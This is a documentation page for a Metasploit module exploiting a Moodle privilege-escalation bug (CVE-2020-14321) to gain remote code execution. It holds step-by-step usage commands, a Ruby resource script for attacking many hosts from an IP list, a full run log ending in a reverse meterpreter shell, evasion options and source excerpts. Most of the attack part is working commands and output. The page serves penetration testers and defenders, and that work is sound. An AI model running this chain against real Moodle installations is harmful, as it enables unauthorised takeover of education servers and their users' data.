Moodle Teacher Enrollment Privilege Escalation to RCE - Metasploit
This page contains detailed information about how to use the exploit/multi/http/moodle_teacher_enrollment_priv_esc_to_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Moodle Teacher Enrollment Privilege Escalation to RCE
Module: exploit/multi/http/moodle_teacher_enrollment_priv_esc_to_rce
Source code: modules/exploits/multi/http/moodle_teacher_enrollment_priv_esc_to_rce.rb
Disclosure date: 2020-07-20
Last modification time: 2021-10-11 16:23:09 +0000
Supported architecture(s): php
Supported platform(s): PHP
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2020-14321
Moodle version 3.9, 3.8 to 3.8.3, 3.7 to 3.7.6, 3.5 to 3.5.12 and earlier unsupported versions allow for a teacher to exploit chain to RCE. A bug in the privileges system allows a teacher to add themselves as a manager to their own class. They can then add any other users, and thus look to add someone with manager privileges on the system (not just the class). After adding a system manager, a 'loginas' feature is used to access their account. Next the system is reconfigured to allow for all users to install an addon/plugin. Then a malicious theme is uploaded and creates an RCE. If all of that is a success, we revert permissions for managers to system default and remove our malicoius theme. Manual cleanup to remove students from the class is required. This module was tested against Moodle version 3.9
Module Ranking and Traits
Module Ranking:
- good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- config-changes: Module modifies some configuration setting on the target machine.
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
Using moodle_teacher_enrollment_priv_esc_to_rce against a single host
Normally, you can use exploit/multi/http/moodle_teacher_enrollment_priv_esc_to_rce this way:
msf > use exploit/multi/http/moodle_teacher_enrollment_priv_esc_to_rce
msf exploit(moodle_teacher_enrollment_priv_esc_to_rce) > show targets
... a list of targets ...
msf exploit(moodle_teacher_enrollment_priv_esc_to_rce) > set TARGET target-id
msf exploit(moodle_teacher_enrollment_priv_esc_to_rce) > show options
... show and set options ...
msf exploit(moodle_teacher_enrollment_priv_esc_to_rce) > exploit
Using moodle_teacher_enrollment_priv_esc_to_rce against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your moodle_teacher_enrollment_priv_esc_to_rce will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/multi/http/moodle_teacher_enrollment_priv_esc_to_rce")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
Knowledge Base
Vulnerable Application
Moodle version 3.9, 3.8 to 3.8.3, 3.7 to 3.7.6, 3.5 to 3.5.12 and earlier unsupported versions allow for a teacher to exploit chain to RCE. A bug in the privileges system allows a teacher to add themselves as a manager to their own class. They can then add any other users, and thus look to add someone with manager privileges on the system (not just the class). After adding a system manager, a 'loginas' feature is used to access their account. Next the system is reconfigured to allow for all users to install an addon/plugin. Then a malicious theme is uploaded and creates an RCE.
If all of that is a success, we revert permissions for managers to system default and remove our malicoius theme. Manual cleanup to remove students from the class is required.
This module was tested against Moodle version 3.9
Install
Moodle provides a step by step guide to install their software. However you'll want to use
3.9.0 isntead of 3.11.0.
here
Verification Steps
- Install the application
- Start msfconsole
- Do:
use exploits/multi/http/moodle_teacher_enrollment_priv_esc_to_rce - Do:
set username [username] - Do:
set password [password] - Do:
run - You should get a shell.
Options
MAXUSERS
The amount of users to add to the class in hopes of finding a manager. Defaults to 100.
Passowrd
Password of a teacher.
Username
Username of a teacher.
Scenarios
Moodle 3.9.0 on Ubuntu 20.04
resource (moodle_privesc.rb)> use exploit/multi/http/moodle_teacher_enrollment_priv_esc_to_rce
[*] Using configured payload php/meterpreter/reverse_tcp
resource (moodle_privesc.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (moodle_privesc.rb)> set targeturi /moodle-3.9.0/
targeturi => /moodle-3.9.0/
resource (moodle_privesc.rb)> set username teacher
username => teacher
resource (moodle_privesc.rb)> set password Teacherteacher1!
password => Teacherteacher1!
resource (moodle_privesc.rb)> set lhost eth0
lhost => eth0
resource (moodle_privesc.rb)> set MAXUSERS 10
MAXUSERS => 10
resource (moodle_privesc.rb)> run
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Exploitable Moodle version 3.9 detected
[*] Authenticating as user: teacher
[*] Retrieving user info
[+] User ID: 4
[+] Course ID: 2
[+] Sessionkey: R1lSAKDT73
[*] Retrieving course enrollment id
[+] Enrol ID: 1
[*] Attempting to enrolin in class as manager (priv esc)
[+] Successfully enrolled
[*] Attempting to find and add a manager to class
[*] Attempting user: 2
[+] Successfully enrolled
[*] Attempting user: 3
[+] Successfully enrolled
[*] Attempting user: 4
[+] Successfully enrolled
[*] Attempting user: 5
[+] Successfully enrolled
[*] Attempting user: 6
[-] Unsuccessful
[*] Attempting user: 7
[-] Unsuccessful
[*] Attempting user: 8
[-] Unsuccessful
[*] Attempting user: 9
[-] Unsuccessful
[*] Retrieving course context id
[+] Context ID: 28
[+] Found manager user IDs: ["5", "4"]
[*] Attempting loginas for user id: 5
[*] Logged in as: manager manager
[+] Looks like a potentially good manager account!
[*] Attempting via new session key: gUocfkXDpe
[*] Checking if permissions were set successfully
[+] Manager roll full permissioned, attempting to upload shell
[*] Creating plugin named: mbdzduot with poisoned header: PIYB
[*] Uploading addon
[+] Upload Successful. Integrating addon
[*] Triggering payload
[*] Sending stage (39282 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:56418) at 2021-09-04 13:21:51 -0400
[*] Uninstalling plugin
[*] Resetting permissions
meterpreter > sysinfo
Computer : moodle
OS : Linux moodle 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64
Meterpreter : php/linux
meterpreter > getuid
Server username: www-data (33)
Go back to menu.
Msfconsole Usage
Here is how the multi/http/moodle_teacher_enrollment_priv_esc_to_rce exploit module looks in the msfconsole:
msf6 > use exploit/multi/http/moodle_teacher_enrollment_priv_esc_to_rce
[*] Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(multi/http/moodle_teacher_enrollment_priv_esc_to_rce) > show info
Name: Moodle Teacher Enrollment Privilege Escalation to RCE
Module: exploit/multi/http/moodle_teacher_enrollment_priv_esc_to_rce
Platform: PHP
Arch: php
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Good
Disclosed: 2020-07-20
Provided by:
HoangKien1020
lanz
h00die
Module side effects:
config-changes
ioc-in-logs
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
MAXUSERS 100 yes Maximum amount of users to add to course looking for admin
PASSWORD yes Password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the moodle application
USERNAME yes Username to authenticate with
VHOST no HTTP server virtual host
Payload information:
Space: 6070
Avoid: 1 characters
Description:
Moodle version 3.9, 3.8 to 3.8.3, 3.7 to 3.7.6, 3.5 to 3.5.12 and
earlier unsupported versions allow for a teacher to exploit chain to
RCE. A bug in the privileges system allows a teacher to add
themselves as a manager to their own class. They can then add any
other users, and thus look to add someone with manager privileges on
the system (not just the class). After adding a system manager, a
'loginas' feature is used to access their account. Next the system
is reconfigured to allow for all users to install an addon/plugin.
Then a malicious theme is uploaded and creates an RCE. If all of
that is a success, we revert permissions for managers to system
default and remove our malicoius theme. Manual cleanup to remove
students from the class is required. This module was tested against
Moodle version 3.9
References:
https://nvd.nist.gov/vuln/detail/CVE-2020-14321
https://moodle.org/mod/forum/discuss.php?d=407393
https://github.com/HoangKien1020/CVE-2020-14321
https://www.exploit-db.com/exploits/50180
Module Options
This is a complete list of options available in the multi/http/moodle_teacher_enrollment_priv_esc_to_rce exploit:
msf6 exploit(multi/http/moodle_teacher_enrollment_priv_esc_to_rce) > show options
Module options (exploit/multi/http/moodle_teacher_enrollment_priv_esc_to_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
MAXUSERS 100 yes Maximum amount of users to add to course looking for admin
PASSWORD yes Password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the moodle application
USERNAME yes Username to authenticate with
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the multi/http/moodle_teacher_enrollment_priv_esc_to_rce exploit:
msf6 exploit(multi/http/moodle_teacher_enrollment_priv_esc_to_rce) > show advanced
Module advanced options (exploit/multi/http/moodle_teacher_enrollment_priv_esc_to_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
ForceExploit false no Override check result
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
MOODLECHECK true yes Check if the website is a valid Moodle install
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted:
Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/http/moodle_teacher_enrollment_priv_esc_to_rce module can exploit:
msf6 exploit(multi/http/moodle_teacher_enrollment_priv_esc_to_rce) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/moodle_teacher_enrollment_priv_esc_to_rce exploit:
msf6 exploit(multi/http/moodle_teacher_enrollment_priv_esc_to_rce) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
4 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
5 payload/php/bind_perl normal No PHP Command Shell, Bind TCP (via Perl)
6 payload/php/bind_perl_ipv6 normal No PHP Command Shell, Bind TCP (via perl) IPv6
7 payload/php/bind_php normal No PHP Command Shell, Bind TCP (via PHP)
8 payload/php/bind_php_ipv6 normal No PHP Command Shell, Bind TCP (via php) IPv6
9 payload/php/download_exec normal No PHP Executable Download and Execute
10 payload/php/exec normal No PHP Execute Command
11 payload/php/meterpreter/bind_tcp normal No PHP Meterpreter, Bind TCP Stager
12 payload/php/meterpreter/bind_tcp_ipv6 normal No PHP Meterpreter, Bind TCP Stager IPv6
13 payload/php/meterpreter/bind_tcp_ipv6_uuid normal No PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support
14 payload/php/meterpreter/bind_tcp_uuid normal No PHP Meterpreter, Bind TCP Stager with UUID Support
15 payload/php/meterpreter/reverse_tcp normal No PHP Meterpreter, PHP Reverse TCP Stager
16 payload/php/meterpreter/reverse_tcp_uuid normal No PHP Meterpreter, PHP Reverse TCP Stager
17 payload/php/reverse_perl normal No PHP Command, Double Reverse TCP Connection (via Perl)
18 payload/php/reverse_php normal No PHP Command Shell, Reverse TCP (via PHP)
Evasion Options
Here is the full list of possible evasion options supported by the multi/http/moodle_teacher_enrollment_priv_esc_to_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/http/moodle_teacher_enrollment_priv_esc_to_rce) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Error Messages
- Error retrieving user id
- Error retrieving settings
- Error changing manager role permissions
- No web server or moodle instance found
- Unable to determine moodle version
- Exploitable Moodle version <V> detected
- Non-exploitable Moodle version <V> detected
- Unable to determine moodle version
- Unable to login. Check credentials
- Unable to enrol in course as manager
- Unsuccessful
- Error retrieving settings
- Unable to upload addon. Make sure you are able to upload plugins with current permissions
- Install not successful
- Failed to upgrade permissions on manager roll
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Error retrieving user id
Here is a relevant code snippet related to the "Error retrieving user id" error message:
72: print_status('Retrieving user info')
73: res = send_request_cgi({
74: 'uri' => normalize_uri(target_uri.path, 'user', 'profile.php'),
75: 'keep_cookies' => true
76: })
77: fail_with(Failure::Unreachable, 'Error retrieving user id') unless res
78: # user id
79: res.body =~ /id=(\d)/
80: userid = Regexp.last_match(1)
81: # course id
82: res.body =~ /course=(\d)/
Error retrieving settings
Here is a relevant code snippet related to the "Error retrieving settings" error message:
95: 'roleid' => '1',
96: 'contextid' => context_id
97: },
98: 'keep_cookies' => true
99: })
100: fail_with(Failure::Unreachable, 'Error retrieving settings') unless res
101: return res.body.scan(/id=(\d)&course/).flatten
102: end
103:
104: def manager_default_permissions(sess_key)
105: # reset Role archetype, Context types where this role may be assigned, and Permissions.
Error changing manager role permissions
Here is a relevant code snippet related to the "Error changing manager role permissions" error message:
121: 'uri' => normalize_uri(target_uri.path, 'admin', 'roles', 'define.php?roleid=1&action=edit'),
122: 'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/x-www-form-urlencoded' },
123: 'cookie' => "#{cookie_jar.cookies[0].name}=#{cookie_jar.cookies[0].value}",
124: 'data' => permissions
125: })
126: fail_with(Failure::Unreachable, 'Error changing manager role permissions') unless res
127: end
128:
129: # copy from moodle_admin_shell_upload
130: def create_addon_file
131: # There are syntax errors in creating zip file. So the payload was sent as base64.
No web server or moodle instance found
Here is a relevant code snippet related to the "No web server or moodle instance found" error message:
154: 'raw_headers' => "#{header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
155: })
156: end
157:
158: def check
159: return CheckCode::Unknown('No web server or moodle instance found') unless moodle_and_online?
160:
161: v = moodle_version
162: return CheckCode::Detected('Unable to determine moodle version') if v.nil?
163:
164: # https://moodle.org/mod/forum/discuss.php?d=407393
Unable to determine moodle version
Here is a relevant code snippet related to the "Unable to determine moodle version" error message:
157:
158: def check
159: return CheckCode::Unknown('No web server or moodle instance found') unless moodle_and_online?
160:
161: v = moodle_version
162: return CheckCode::Detected('Unable to determine moodle version') if v.nil?
163:
164: # https://moodle.org/mod/forum/discuss.php?d=407393
165: v = Rex::Version.new(v)
166: if v.between?(Rex::Version.new('3.9'), Rex::Version.new('3.9.1')) ||
167: v.between?(Rex::Version.new('3.8'), Rex::Version.new('3.8.4')) ||
Exploitable Moodle version <V> detected
Here is a relevant code snippet related to the "Exploitable Moodle version <V> detected" error message:
166: if v.between?(Rex::Version.new('3.9'), Rex::Version.new('3.9.1')) ||
167: v.between?(Rex::Version.new('3.8'), Rex::Version.new('3.8.4')) ||
168: v.between?(Rex::Version.new('3.7'), Rex::Version.new('3.7.7')) ||
169: v.between?(Rex::Version.new('3.5'), Rex::Version.new('3.5.13')) ||
170: v.between?(Rex::Version.new('3'), Rex::Version.new('3.5'))
171: return CheckCode::Appears("Exploitable Moodle version #{v} detected")
172: end
173:
174: CheckCode::Safe("Non-exploitable Moodle version #{v} detected")
175: end
176:
Non-exploitable Moodle version <V> detected
Here is a relevant code snippet related to the "Non-exploitable Moodle version <V> detected" error message:
169: v.between?(Rex::Version.new('3.5'), Rex::Version.new('3.5.13')) ||
170: v.between?(Rex::Version.new('3'), Rex::Version.new('3.5'))
171: return CheckCode::Appears("Exploitable Moodle version #{v} detected")
172: end
173:
174: CheckCode::Safe("Non-exploitable Moodle version #{v} detected")
175: end
176:
177: def exploit
178: v = moodle_version
179: return CheckCode::Detected('Unable to determine moodle version') if v.nil?
Unable to determine moodle version
Here is a relevant code snippet related to the "Unable to determine moodle version" error message:
174: CheckCode::Safe("Non-exploitable Moodle version #{v} detected")
175: end
176:
177: def exploit
178: v = moodle_version
179: return CheckCode::Detected('Unable to determine moodle version') if v.nil?
180:
181: version = Rex::Version.new(v)
182:
183: print_status("Authenticating as user: #{datastore['USERNAME']}")
184: cookies = moodle_login(datastore['USERNAME'], datastore['PASSWORD'])
Unable to login. Check credentials
Here is a relevant code snippet related to the "Unable to login. Check credentials" error message:
180:
181: version = Rex::Version.new(v)
182:
183: print_status("Authenticating as user: #{datastore['USERNAME']}")
184: cookies = moodle_login(datastore['USERNAME'], datastore['PASSWORD'])
185: fail_with(Failure::NoAccess, 'Unable to login. Check credentials') if cookies.nil? || cookies.empty?
186: cookies.each do |cookie|
187: cookie_jar.add(cookie)
188: end
189:
190: userid, courseid, sesskey = get_user_info
Unable to enrol in course as manager
Here is a relevant code snippet related to the "Unable to enrol in course as manager" error message:
194: print_status('Retrieving course enrollment id')
195: enrolid = get_course_enrol_id(courseid)
196: print_good("Enrol ID: #{enrolid}")
197: print_status('Attempting to enrolin in class as manager (priv esc)')
198: success = enrol(userid, courseid, enrolid, sesskey)
199: fail_with(Failure::NoAccess, 'Unable to enrol in course as manager') unless success
200: print_good('Successfully enrolled')
201: print_status('Attempting to find and add a manager to class')
202: Array(2...datastore['MAXUSERS']).each do |id|
203: next if id == userid
204:
Unsuccessful
Here is a relevant code snippet related to the "Unsuccessful" error message:
205: print_status("Attempting user: #{id}")
206: success = enrol(id, courseid, enrolid, sesskey, '5')
207: if success
208: print_good('Successfully enrolled')
209: else
210: print_bad('Unsuccessful')
211: end
212: end
213: print_status('Retrieving course context id')
214: contextid = get_course_context_id(courseid)
215: print_good("Context ID: #{contextid}")
Error retrieving settings
Here is a relevant code snippet related to the "Error retrieving settings" error message:
233: set_manager_permissions(manager_all_permissions(new_sesskey))
234: print_status('Checking if permissions were set successfully')
235: res = send_request_cgi({
236: 'uri' => normalize_uri(target_uri.path, 'admin', 'search.php')
237: })
238: fail_with(Failure::Unreachable, 'Error retrieving settings') unless res
239: next unless res.body.include?('Install plugins')
240:
241: print_good('Manager roll full permissioned, attempting to upload shell')
242: success = true
243: addon_content, header, addon_name = create_addon_file
Unable to upload addon. Make sure you are able to upload plugins with current permissions
Here is a relevant code snippet related to the "Unable to upload addon. Make sure you are able to upload plugins with current permissions" error message:
241: print_good('Manager roll full permissioned, attempting to upload shell')
242: success = true
243: addon_content, header, addon_name = create_addon_file
244: print_status('Uploading addon')
245: file_id, addon_sesskey = upload_addon(addon_name, version, addon_content)
246: fail_with(Failure::NoAccess, 'Unable to upload addon. Make sure you are able to upload plugins with current permissions') if file_id.nil?
247: print_good('Upload Successful. Integrating addon')
248: ret = plugin_integration(addon_sesskey, file_id, addon_name)
249: if ret.nil?
250: fail_with(Failure::NoAccess, 'Install not successful')
251: end
Install not successful
Here is a relevant code snippet related to the "Install not successful" error message:
245: file_id, addon_sesskey = upload_addon(addon_name, version, addon_content)
246: fail_with(Failure::NoAccess, 'Unable to upload addon. Make sure you are able to upload plugins with current permissions') if file_id.nil?
247: print_good('Upload Successful. Integrating addon')
248: ret = plugin_integration(addon_sesskey, file_id, addon_name)
249: if ret.nil?
250: fail_with(Failure::NoAccess, 'Install not successful')
251: end
252: exec_code(addon_name, header)
253: print_status('Uninstalling plugin')
254: remove_plugin("theme_#{addon_name}", version, addon_sesskey)
255: print_status('Resetting permissions')
Failed to upgrade permissions on manager roll
Here is a relevant code snippet related to the "Failed to upgrade permissions on manager roll" error message:
254: remove_plugin("theme_#{addon_name}", version, addon_sesskey)
255: print_status('Resetting permissions')
256: set_manager_permissions(manager_default_permissions(sesskey))
257: break
258: end
259: print_bad('Failed to upgrade permissions on manager roll') unless success
260: end
261:
262: def on_new_session(_)
263: print_good('You will need to change directories on meterpreter to get full functionality. Try: cd /tmp')
264: end
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Related Pull Requests
- #15612 Merged Pull Request: This PR kicks moodle in to being a real target
- #15706 Merged Pull Request: Display TCP forwarding information for sessions and jobs for reverse shells
- #15747 Merged Pull Request: Add VMware vCenter Server CVE-2021-22005 exploit
- #15750 Merged Pull Request: ruby 3 windows color support
- #15698 Merged Pull Request: Add PoC for CVE-2021-22555 Netfilter Priv Escalation
- #15745 Merged Pull Request: Fix bug where refs are not checked if the notes section is before refs
- #15744 Merged Pull Request: update description, refs, and rubocop on tomcat_jsp_upload_bypass
- #15730 Merged Pull Request: Update Gitea Git hooks RCE check method
- #15739 Merged Pull Request: Add Diagnostic State Module for hwbridge
- #15735 Merged Pull Request: Update call to deprecated connection_config
- #15737 Merged Pull Request: Fix action handling for auxiliary modules
References
- CVE-2020-14321
- https://moodle.org/mod/forum/discuss.php?d=407393
- https://github.com/HoangKien1020/CVE-2020-14321
- EDB-50180
See Also
Check also the following modules related to this module:
- exploit/multi/http/moodle_admin_shell_upload
- exploit/multi/http/moodle_cmd_exec
- exploit/multi/http/moodle_spelling_binary_rce
- exploit/multi/http/moodle_spelling_path_rce
- exploit/multi/http/hp_sitescope_issuesiebelcmd
- exploit/multi/http/hp_sitescope_uploadfileshandler
- exploit/multi/http/apache_apisix_api_default_token_rce
- exploit/multi/http/atutor_sqli
- exploit/multi/http/atutor_upload_traversal
- exploit/multi/http/coldfusion_ckeditor_file_upload
- exploit/multi/http/confluence_widget_connector
- exploit/multi/http/eaton_nsm_code_exec
- exploit/multi/http/gitorious_graph
- exploit/multi/http/ibm_openadmin_tool_soap_welcomeserver_exec
- exploit/multi/http/jboss_deploymentfilerepository
- exploit/multi/http/magento_unserialize
- exploit/multi/http/october_upload_bypass_exec
- exploit/multi/http/rocket_servergraph_file_requestor_rce
- exploit/multi/http/solarwinds_store_manager_auth_filter
- exploit/multi/http/struts_code_exec_exception_delegator
- exploit/multi/http/tomcat_jsp_upload_bypass
- exploit/multi/http/tomcat_mgr_deploy
- exploit/multi/http/tomcat_mgr_upload
- exploit/multi/http/totaljs_cms_widget_exec
- exploit/multi/http/wp_plugin_elementor_auth_upload_rce
- exploit/multi/browser/firefox_pdfjs_privilege_escalation
- exploit/multi/local/magnicomp_sysinfo_mcsiwrapper_priv_esc
- exploit/multi/browser/firefox_escape_retval
- exploit/multi/realserver/describe
Authors
- HoangKien1020
- lanz
- h00die
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
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